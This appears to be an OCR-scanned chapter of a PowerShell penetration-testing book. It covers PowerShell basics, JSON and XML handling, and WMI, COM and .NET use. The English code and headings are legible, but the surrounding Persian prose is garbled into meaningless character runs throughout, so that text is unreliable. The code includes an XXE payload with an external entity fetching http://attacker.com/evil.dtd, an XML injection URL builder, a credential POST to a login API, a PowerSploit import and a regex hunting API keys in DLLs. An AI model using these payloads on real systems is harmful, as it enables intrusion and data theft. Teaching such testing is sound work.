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Programming Principles in PowerShell
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PowerShell’s versatility in penetration testing
Navigating JSON and XML with PowerShell
Automation, integration, and reporting
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J Basic concepts of PowerShell and pipeline in PowerShell
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e JSON in PowerShell

e XML in PowerShell

e Component Object Model (COM), Windows Management Instrumentation
(WMI), and .NET in PowerShell

Basic concepts of PowerShell and pipelines in PowerShell
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e Sequence

e Selection

e |teration

e Encapsulation
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https://github. com/PowerShell/PowerShell.
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PS C:\> $PSVersionTable

Name Value

PSVersion 7.3.0

PSEdition Core

GitCommitId 7+3.0

(o}:] Microsoft Windows 10.0.19042
Platform Win32NT

PSCompatibleVersions 1.0, 2.0, 3.0, 4.0}

PSRemotingProtocolVersion 2.3

SerializationVersion 1SS0l
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PS C:>Get-ExecutionPolicy -List
Scope ExecutionPolicy

MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine RemoteSigned
PS C:>

oeile 5o olg3 oo |, PowerShell slacs Sl lya! Sblg ool s gs aalip b5 o PowerShell
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PS C:\> Set-ExecutionPolicy Unrestricted

Il e sl sase eolewl I slaciiy lp wpaS ololid die b uyiws ;o ceal g oglils (gl oS
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PS C:\> find-module -tag SSH

5 95lls |, T Install-Module jgius 5l soliiw! b auwilss oo cou0,S ololid |, a5 5,90 Jojlo a5 Ko

PS C:\> Install-Module -Name SSH
511, b ecmdlet b algs aslsl s oS IMport Ldtes |, PowerShell Jysle <G ewslss oo uiros b

o1y g ol b PowerShell Jgs5ke o ceas 1y .05 o IMport [PowerSploit.psdl g5l

0.5 1>l root L administrator . jiws zhew L PowerShell
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PS C:\> Import-Module .\PowerSploit.psdl

&y olulis sl cmdlet Get-Command jl caslsl jo .0uiS () g o0 Sz Command

PS C:\> Get-Command -module SSH

CommandType Name Version Source

Function Invoke-SSHCommand 1.0.0 SSH

aalol jo oS olulis get-help jgiws 5l eolanal L 1, PowerShell Jgsle 51 oolatul o956 puslys oo Lo
13,5 peblss w,p |, Get-Location ;! eolaiwl ogzs

PS C:\> get-help Get-Location
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$name = "Andrew Blyth"

109 oo oolaiwl JolS slacl 0,53 (sl cpl dINtegers

Sage = 57
229 o odliiwl jxio o 4o jlaEe (paix 0 pud gl opl AArTAYS

Smyfruits = @("apple", "banana", "orange")

:aigi oo ooliiwl Key/Value glaci> o 058 6l ooyl :Hash tables

Sperson = @{
Name = "Andrew Blyth"
Age = 57}
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if (condition) {
# Code block to execute if the condition is true

w8 0,5 eolatul PowerShell jo olgs o 1) if jgiws s> oums (Lis b oS oy 1y Jle iz ol
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Sfile = "C:\mydatafile.txt"
if (Test-Path Sfile) {

Write-Host "The file exists!"
}else {

Write-Host "File not found."}

Sl Lt a4 a5 wies Sl JS ol sbe,bisle IS5 sle bsle o beail> PowerShell s
63l 5355 (6l il ] S 1ol oo e Lyl i olal S jobo a1 05 Ssly Ky wias o
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L a5 a2 o &1l 1) 0,2 5 dO...While while foreach for sl ail> Lsls pois> PowerShell
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(o]

for (Si=1; Si-le 5; Si++) {
Write-Host "For loop iteration: Si"}

S plxil 5 (0, g ] daay])]) acgemme SO slapnl jle o 1S5 sl fOreach 4il> foreach

229 o0 S5 degera 10 pate o G b 5l Sas5 jeb g oo esliiul el ya sl Jes

Sfruits = @("Apple", "Banana", "Orange")
foreach (Sfruit in Sfruits) {
Write-Host "I like Sfruit"}

while .ailes Bb cawyo b o o as Jloj b asS o 12l 5,50 j5b 1, 05 Soby G While ail> :while
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Si=1

while (Si -le 5) {
Write-Host "While loop iteration: Si"
Si++}

Ll 1) a5 Sl la i)l golS gy 5 Lol wzesl While ail> wiils do...while 4il> :do...While

Si=1

do {
Write-Host "Do...While loop iteration: Si"
Si++

} while (Si -le 5)

» e ail> S, PowerShell foreach 4il> , o9l :ForEach-Object (Loop Pipeline)
Gk 5l a1 bl aas o Sl s 4 ol s e «l)) FOorEach-Object ;| solava! L pipeline
DS il (S (SS disd oo il Pipeline

Snumbers = 1..5

Snumbers | ForEach-Object {
Write-Host "Pipeline Loop: S_"}

Sla 5 aas o Skl Lud 4 a5 sas s 45,1 |, loop/repeat sl tslu 5| ¢ slacgoe PowerShell
IS Sige oo a1y 053 slaces Sl 0l 5 00,5 (bl 1y o8ls (sloasgame 1S 5055 |y (6,15
ple aiS o Saied 08 5 5L | Lt PowerShell slacos Sl da bzl ol 5l solatwl 5 S0 awnles
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A8 7,0 1, continue L break slas Le

JSON in PowerShell
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6,80 g JSON sLil 51 sl Sledlbl |5l JSON slagewly 4525 g AP 51ISON slaosls

Dl el idg 1) ioles] Claal 6l JSON (slasgls

Retrieving JSON Data from Web APIs

5asyls g gl APL L el 4 5L o ol plssl b Sledlbl gyl aox (slp dél ) 53585 s
5 ol 0,5 03lizal JSON glaosls i3l 5 WAPI 4y HTTP coulss o Jlo)l (ol ols5 0 PowerShell
) gl Copoe s HTTP Glacalgs s sll oi1,8 a5 Anvoke-RestMethod l eolacul b g5 oo )

3,59 Cewsd 45 S 0 o0lw

SrepoUrl = "https://api.snowcapcyber.com/repo"
Sresponse = Invoke-RestMethod -Uri SrepoUr|
Sresponse

ol Lasiw URL 4 InvokeRestMethod ;i eolaxw! L1, HTTP GET coulgs o G L (Jlo ol 5o
o Ssoa |y ol JSegs b 4 PowerShell 3 oy salys JSON LB o sl oS oo Jlo)

3,5 dalgs Solwl 1) leesls (6, Sws § (o yiwd ol (ol 0S5 o Jsou5 PowerShell

Parsing JSON Data

PowerShell .s4i 4525 (o5 Dledbl 2] Sl gl Canwb oo Sledlbl I JSON slaosls Sb5L 51 e
A s ysd 45 03405 olu! PowerShell <Lil & JSON slaosls o5 sl |, ConvertFrom-Json
[y O Sl gs § o B eoges 4325 APL GitHUDb 511, JSON zwly asls oS oo oLl 1) alBlas olic

SrepoUrl = "https://api.snowcapcyber.com/repo"
Sresponse = Invoke-RestMethod -Uri SrepoUrl
SrepoObject = ConvertFrom-Json Sresponse
Write-Host "Repository Name: $S(SrepoObject.name)"
Write-Host "Description: S(SrepoObject.description)"
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ol 4 PowerShell _» <G 4 JSON #ul bos sl ConvertFrom-Json 5l L Jle cpl 5o
Sloesgi g o35 b aiile (b 5l cols la g 4 puslel oo L oS oo o0liiwl SrepoObject
ol Bl o s

JSON Manipulation for Payloads

oinleyl gl logly cole pln ot wwl (5y90 JSON slaosls (o, Kiws 34 s Jobo 4o
(oS Ol pdscuwl AP G & HTTP POST culgs o 6 sl JSSON

Spayload = @{
"username" = "admin"
"password" = "P@ssw0rd123"
} | ConvertTo-Json
Sheaders = @{
"Content-Type" = "application/json" }
Invoke-RestMethod -Uri "https://snowcapcyber.com/api/login" -Method
Post -Body Spayload -Headers Sheaders

oS o i a5 y9ee 30,y 9 6,5 pb slaald L |, Spayload eb 4 PowerShell ia Jgox Jls ol 5o
Invoke- .osS o oolitwl JSON soly o a4 e Jgox Lo sl ConvertTo-Json I e
QS oo Jloyl ool aseie APl & HTTP POST cwlgs s G o 1, JSON 5L, (RestMethod

@ aS Cwl JladealdS slacis | glacgemme (i Jeu> L Hash Table G PowerShell s :aisG
Ol 50 auS 0,38 wille (6,5l Djge 4 g Al LSl Sygo a1y ooy a5 aes o |y Sl il el
(password 5 username) luiec-ols cas> ¢ Joli a5 el hash table <, $payload . Jus
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Interacting with JSON from Files
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SjsonFilePath = "C:\path\to\file.json"
SjsonData = Get-Content -Raw -Path SjsonFilePath | ConvertFrom-Json

# Add a new property
SjsonData | Add-Member -Name "role" -Value "admin"

# Save updated JSON back to the file
SjsonData | ConvertTo-Json | Set-Content -Path SjsonFilePath

Raw- ol Jle ol 55 ouslss oo Get-Content jl eolicl b Lyl o5 511, JSON (claosls « Lo oyl 4o
JSON (slgizms (s 09 o0 0d3lg3 ailin ) SO lgie 4 cbglas ]l O (sl @ lgime 45 0iS o (puondsi
5ot 4 dax (Shy o 39938 5l e w5 oo o SjsonData #b 4 PowerShell & G« |,

21, ol Set-Content ;l oolatul b g 0uiS oo 00litw! JSON co)d 4 o1 a5 sl ConvertTo-Json
S (o0 0 S S

Web Scraping and Data Extraction

Grosls ol oy Dlio ) ools Sl 2] el 4 jls Conl o T35 Cens gy L 51 (S0 o
zl 3l 1, JSON (glgime il axils Julss oy Olxaw b wily o PowerShell ol acsls JSON
z! 5l JISON slaosls (gl g amio S5 51, Sledlbl auas ojl>l oS (ol 1y o] imen 5 00403
e2d Gloled | o)1 g ot

Surl = "https://snowcapcyber.com/data.json"
Sresponse = Invoke-RestMethod -Uri Surl
Sdata = Sresponse.data
foreach (Sitem in Sdata) {
Write-Host "Name: S(Sitem.name)"
Write-Host "Age: S(Sitem.age)"
Write-Host "Occupation: S(Sitem.occupation)"
Write-Host ""}

oals aseie URL 51 JSON slasols bjL sl Invoke-RestMethod i L« Jle ol jo

Srosls 45 (1S o 5,8 Lo 395 o 0D SIESPONSE e ;o Gl Leaw oS o o0l
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foreach ail> < ;I L .oewn Occupation 3 Age Name slo 559 L Lusl 5l slal,T g9 JSON

oS om ooliiul su sl Sledbl Lisle 5 asl)] 5 o5 8 o ,LST gl

Sl Gl 3985 s 3l idu Glgxe 4 JSON slaosls (o3ls 0 sl p aiesy)l 15l S5 PowerShell
a1y T JSON Glagul 456 SUls g wog slacalys s sl jo clgaw JSON (g ISws 51 )T cog
LS.’:‘ L)‘ﬁ"'c LY ] oo)_f J.u\.u JSON P e 9 LgL%bwj)m 9 l» API b)lS 6‘)‘3 o)lS dod 6‘4...:;
Soglenz jo i ollg Wiy o PowerShell 5 JSON (glasols jige (il 095 S y0  Fdgiicans

Do Gl s BB e 4 |y calisie sl sla o) plxl 5 s iyl 516,18 0 40 Dl
XML in PowerShell

it sl ly (sl SV (55l 4 ol ol (gl il 5 Sl Sl S, 358 s
0,5 o cwng sl by o PowerShell ol aslis b pitns SO j0 cans blis g las iyl
ot b Jolsi ollg 5 00,2 (ygmmlogi] slocell (gl Bllawil s &) Gaatys bzee 10 sop
31 eolaiwl ogms ( idu cpl yo el 3 glp saedy,l gylpl XML ales ) esls calisee
gl b 0,8 melys w)y p dgiicens 5 cise Glgie 4 XML slassls o pow 51, 1, PowerShell
&l XML Glassly (5, Siws g XML slaNode i acass )l csledbol 1 sl XML sla L 4 525 assle

Sl pelys g 1) cioley] Glaal
Reading and parsing XML files

g go axlpe olas SOl b b gon Sy sbrosls g5l XML slo b b el o S3gaicans
L ol ,ee Get-Content ;l coliwl L XML sl bl 4555 4 oy sl ool of, o PowerShell
lgte el g anl s S go Sy Slawkas gol> a5 1, XML s S als s oo 431l Select-Xml

S 4525 g
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SxmlFilePath = "C:\MyData\config.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmlContent

Ssettingl = SxmlDoc.configuration.setting1
Ssetting2 = SxmlDoc.configuration.setting?2
Write-Host "Setting 1: Ssetting1"

Write-Host "Setting 2: Ssetting2"

SxmlFilePath Lug sas asie XML LB slygxe oalss sl Get-Content 5l L ¢ Jlas opl 5o
XML & paobio 3 XML 25 G a0 [XMI] g4 saims ol 51 oolitnl b1 lgxome o -auiS oo ooliiul
sy XML jo 653 sl S5 g jolic 4 b and o ojll Lo ay 009 o0 00l LS SxmlDoc L 45

Extracting Information from XML Nodes

I, oleel, PowerShell ove 555 9 Node paix b 5,06 slo,tsle Jols del XML sla L
SOl ams o)l ams so @l ared ;)| Sledbl gzl sl 5 5l alades sla bislo ) o Lislew sy
oSzl sl canl oIS 44 bgy ye slrosls gol> a5 XML L6 G 5

oS i |y 2 XML by

<employees>
<employee id="1">
<name>Andrew Blyth</name>
<age>57</age>
<position>Manager</position>
</employee>
</employees>
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oS Sl ol Gislep slp |y p; PowerShell ol co wo,S ca s |, L3 XML a5 oK

SxmlFilePath = "C:\MyData\employees.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmIContent
Semployees = SxmIDoc.employees.employee
foreach (Semployee in Semployees) {
Sid = Semployee.id
Sname = Semployee.name
Sage = Semployee.age
Sposition = Semployee.position
Write-Host "Employee ID: Sid"
Write-Host "Name: Sname"
Write-Host "Age: Sage"
Write-Host "Position: Sposition"
Write-Host ""

employees o 5 4 w .0uiS o0 4355 g 0dilgs LS b, 5l eslatwl b1y XML LU L (Jle ol jo
2 oS 0,55 |, employee o 5 a5,k 5l foreach dil> Gl soliinl b g oS oo lou (m yiasd
2O oo imlad g 00,5 zl Sl 0,5 o 5l Caxdae 5 e ipl o ST anlis wsle Sledlbol casls> 5l
Modifying XML Data

Sialesl aile sl anals cols glagy s ;o XML slaosls oMol 4y 5l ol San oS 3685 Cand
Sloabats (ggl> a5 XML LE S aolo (il sla 508 (595 590 b (5399 (7w Liel slas p 3y o]
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<userSettings>
<setting name="theme" value="dark" />
<setting name="language" value="en-US" />
</userSettings>

oS Sl ol Gislep slp |y p; PowerShell ol oo wo,S ca s |, L3 XML a5 oK

SxmlFilePath = "C:\MyData\settings.xml"
SxmlContent = Get-Content -Path SxmlFilePath
SxmlDoc = [xml]SxmlIContent
SxmlDoc.userSettings.setting | Where-Object { S_.name -eq "theme" } |
ForEach-Object {
S_.value ="light"}
SxmlDoc.Save(SxmlFilePath)

s'» Where-Object cmdlet ;| s viS o0 40355 5 pslys o0 S8 aiilo |, XML 15« Jlie ol 5o
theme sl L |, pulas a5 ol8n .puiS 0 ooliznl NAME  S5g wlol p lealas slaNode 0,5 sls
0als 55, 4 XML o .53 (sl Save e 5l ol 1o o oo s light @ 1) T Jlade F5g (ou0,5 o
oS oo oolainl LB o

Crafting XML Payloads

K33 sk XML P e Lgl.ascgfq;wT u.M.aLo)T 6‘)‘.’ LS"")L°‘”" XML L.;Laso9L.‘ Colw dgdicand Job o
Sl aby S bl slp XML ool 6ol ool Jooro XML External Entity (XXE)
oS Sloul XXE (slos 1 dy ]
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Spayload = @"
<IDOCTYPE root [
<IENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
1>
<root>
<data>Confidential information</data>
</root>
"@
# Save the payload to a file
SpayloadFilePath = "C:\MyData\payload.xml"
Spayload | Out-File -FilePath SpayloadFilePath

Document LB G oS oS o iy 05 )5 Cudgzge (el G (g5l XML sl G Lo ¢ Jlie (] 5o
Sk s ol XXE Jgome gl SO ol 05 o (o2STy o>l 49, 511, DTD L Type Definition
g oolazwl XXE 61-“’6)%3:3.&«:«»—‘ J;.,“Loﬂ &l WlgS co a5 1S o 0,md LB o )

XML Injection Testing

IS o palesl XML Go,50 sla pdcaml @l 1) g 0,5 slaasliyy el ol Sdgaicus

GLQM[SA Lsfli})| Lg‘,g 5999 Lgl.(bdl.:_é L g):'u XML Lgl.bd% Gy 9 \)L?Li‘ 6‘).3 Q|936o PowerShell
3,5 oolatl dal p XML Liel g 4y 30
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SmaliciousPayload = @"
<root>
<data>
<name>John Smith</name>
<age>30</age>
<I-- XXE injection payload goes here -->
</data>
</root>"@
SinjectionPoint = "http://snowcapcyber.com/api/data?xml=" + [System.
Web.HttpUtility]::UrlEncode(SmaliciousPayload)

e oS o0 dlul oolo paie Bl o XXE &, dekl G (g5l e XML ssls G Lo Jlie oyl o
U oS o Goy5 o 4ol p o (098 00 00lo oyLzs SinjectionPoint L a5) (5,9 ald SG |, sgks oy

COM, WMI, and .NET in PowerShell

s WMI .COM asils ciliee slacs,slid b Jolss Ulss 5 05,58 yglogi] slacoLls PowerShell
S o ol ) S8k s gl |, WNET

Using WMI for System Information Gathering

OleMbl 4y cwyiwd (gl 1y sloais o,laliwl of ) a5 Cawl jaaing j0 died ;0 Cu pae 5,5k SO WMI

LWMI slasols b ams o ojl>! )] ,53445 cs 4 PowerShell oS oo pal 8 08 g (505,500 ¢oiimns

ICSLIPY SOWE U RV PSWESWIN Y VIS M})\ Sl 6)51@-?' 6‘)-.’
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3550 ol5iwd 43 al cuai sla,l3dl o5 OL5L sl WML 5l o> g )y sl POwerShell 1oL,

oS ool L

SsoftwarelList = Get-WmiObject -Class Win32_Product | Select-Object
-Property Name, Vendor, Version
foreach (Ssoftware in Ssoftwarelist) {

Write-Host "Name: $(Ssoftware.Name)"

Write-Host "Vendor: $(Ssoftware.Vendor)"

Write-Host "Version: S(Ssoftware.Version)"

Write-Host "" }

olis a5 oS oo ooliwl WINn32_Product (o) o g sl Get-WmiObject I L« Jlio oyl o
l, Version g Vendor Name sile cols sl 555 o <ol pitns (59, 00 i 380 05 saias

RO o0 u.u.)l.o.* ‘59'9).‘> 5O ‘) Sl 9 oo)S s.;l?w‘
Querying WMI for Network Information

PowerShell .o jls Bun wivws Al (500,50 9,50 50 Sledbl (5] aex @ 5L Cdel o) F3g85 s
p...S oolaw! ds.o...u u)ls Sleds| 6‘)4 WMI )‘ 99 Wy

SnetworkAdapters = Get-WmiObject -Class Win32_
NetworkAdapterConfiguration | Where-Object { S_.IPAddress -ne Snull }
foreach (Sadapter in SnetworkAdapters) {

Write-Host "Adapter Description: S(Sadapter.Description)"

Write-Host "IP Address: S(Sadapter.IPAddress[0])"

Write-Host "MAC Address: S(Sadapter.MACAddress)"

Write-Host """}

SN 5l ey e lp  Get-WmiObject 51 L Jle ol
Al LS Glewdas sasas lis a5 4S5 e eolaw!l Win32_NetworkAdapterConfiguration
S_.IPAddress -ne ) oS Gix |, 1P Loyl o slacs)l5 b oS oo j2kd |) ol Lo .ol
sl sl &5 pa sl |, MAC uyol 5 IP ool aSls &5 Sledgs s (SNUI
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Interacting with COM Objects

w1y S0 b el g Loyl el S8l ey gliml 4 a5 ol clug Sile (g,5ké X, COM
COM 5 S ol sl PowerShell 5oy oS solal ol 51 g asil acsls Jolss calisee Cloal
‘1,....5 oolazw! J.wf‘ LgL(bJ,u’lé L;)lS.’Z.....nb 6‘)‘.‘

Sexcel = New-Object -ComObject Excel.Application
Sworkbook = Sexcel.Workbooks.Add()

Ssheet = Sworkbook.Worksheets.ltem(1)
Ssheet.Cells.ltem(1,1) = "Name"
Ssheet.Cells.Iltem(1,2) = "Age"
Ssheet.Cells.ltem(2,1) = "John Doe"
Ssheet.Cells.ltem(2,2) = 30

Sexcel.Visible = Strue

oS oo oolazwl Excel asls,, COM : o 5l auas dges G ol sl New-Object 5l L Jlo ol o
4ol p g oS oo ol Lo Jgle j0 1) polie (ouiS o olu! wuas> Worksheet s Workbook G s
e o5 5 4iS JS0g5 1) ST Sldos b oo 0 ojlxl Lo o ol .0uiS 0 cmlie LB 1, Excel
w20 il 1) 20 (56155 ¢ (6 Sus dosls 2l 5l
Using .NET for Cryptographic Operations
ooliiwl (6,138 50, g Lid wile 5,50, Sldee sl Net gla oS 5l Wil o yien PowerShell

g oo oolil el by S ialesT b aosls (55ke yesl (slp Seiicens ;5 Ygono 45 wiS
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oS oolawl Ll G MD5 jie acwlxe gl .NET 3 PowerShell ;| aes o5l

SfilePath = "C:\MyData\file.txt"

Smd5 = New-Object -TypeName System.Security.Cryptography.
MD5CryptoServiceProvider

SfileStream = [System.lO.File]::OpenRead(SfilePath)

Shash = Smd5.ComputeHash(SfileStream)

SfileStream.Close()

ShashString = [System.BitConverter]::ToString(Shash) -replace "-", ""
Write-Host "MDS5 Hash: ShashString"

System.Security.Cryptography.MD5CryptoServiceProvider.NET .S 5l L o Jle ool 5o
dlre 1) 20 oeS oo 5 s ub Sl jo 1) LB L oS oo oolin] L6 3 MD5 e aculxe sl
oS o0 oo Jlopol S iy oled ) e slacal 5 S (o

Using .NET for Network Operations

oS ooliiul Zwl (o318, 9 HTTP GET coulgs o 4l .NET g PowerShell

Surl = "https://api.snowcapcyber.com/data"
Srequest = [System.Net.WebRequest]::Create(Surl)
Sresponse = Srequest.GetResponse()

Sstream = Sresponse.GetResponseStream()
Sreader = New-Object -TypeName System.|lO.StreamReader -ArgumentList
Sstream

SresponseText = Sreader.ReadToEnd()
Sreader.Close()

Sresponse.Close()

Write-Host "Response Body:"

Write-Host SresponseText

s System.Net.WebRequest sy 5l L e RO
oolawl oais yaseie URL & HTTP GET coulgs,o ¢l » System.10.StreamReader.NET

20 oo (inles g puiles oo |y el (Slgiome e @S o
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Analyzing .NET Assemblies for Vulnerabilities

slas L ‘sll.o;’.>| 6“%;9.%%1 6‘)‘.’ NET L;L«s=‘..<:9.<>:>;..o J...L'z.- 9 4y Lg‘).g Q‘}'{‘So PowerShell )'|
S| (gexins 4 NET acgozme 3l laalls, C‘)é’;;‘”" <l PowerShell 3amle s Sl ool oS )l

i oolaw! | ulus 0galls
Gt

SassemblyPath = "C:\MyData\Assembly.dIl"
Sstrings = [System.l0.File]::ReadAllText(SassemblyPath)
# Search for potential sensitive information
SapiKeyPattern = "APl_KEY=[A-Za-z0-9]+"
Smatches = [System.Text.RegularExpressions.Regex]::Matches(Sstrings,
SapiKeyPattern)
Write-Host "Potential API Keys found:"
foreach (Smatch in Smatches) {
Write-Host Smatch.Value }

o9 o [System.10.File]::ReadAllText ;l soliwl b oo & g0 a0 1, NET acgomme JS ¢ Jlo ol o
f““"Sgs“’ oolasu! GL.A.»:‘ 5o 05.L|L> API LSLQA.JS 8 T 6‘)—’ w.’a_..,o u‘)L,_c )| Ry

ol yo o) oUlgs .ol Sga5cis 1o NET s WML .COM  o5ls s (sl anes sl 1l S PowerShell
0, 8ae b calizee caylbg plosil o NET slacsos ;i colaiwl WMI glaosls 5l 4> ¢ wy {COM sl L
s s B0 slapiincw j0 cand bl g o pdocamw! olulis slp ) laeoil 51 glos 8 il « NET
Ao oo &Ll o 3445

dod g aalip by o PowerShell asis b bas e cnlby 5 6,50, Sldos 6l [NET 5l ool

el 08 05l el Olilas oLl g mels el sla ol sl sl | ) 585a Cans 45 Canl oS
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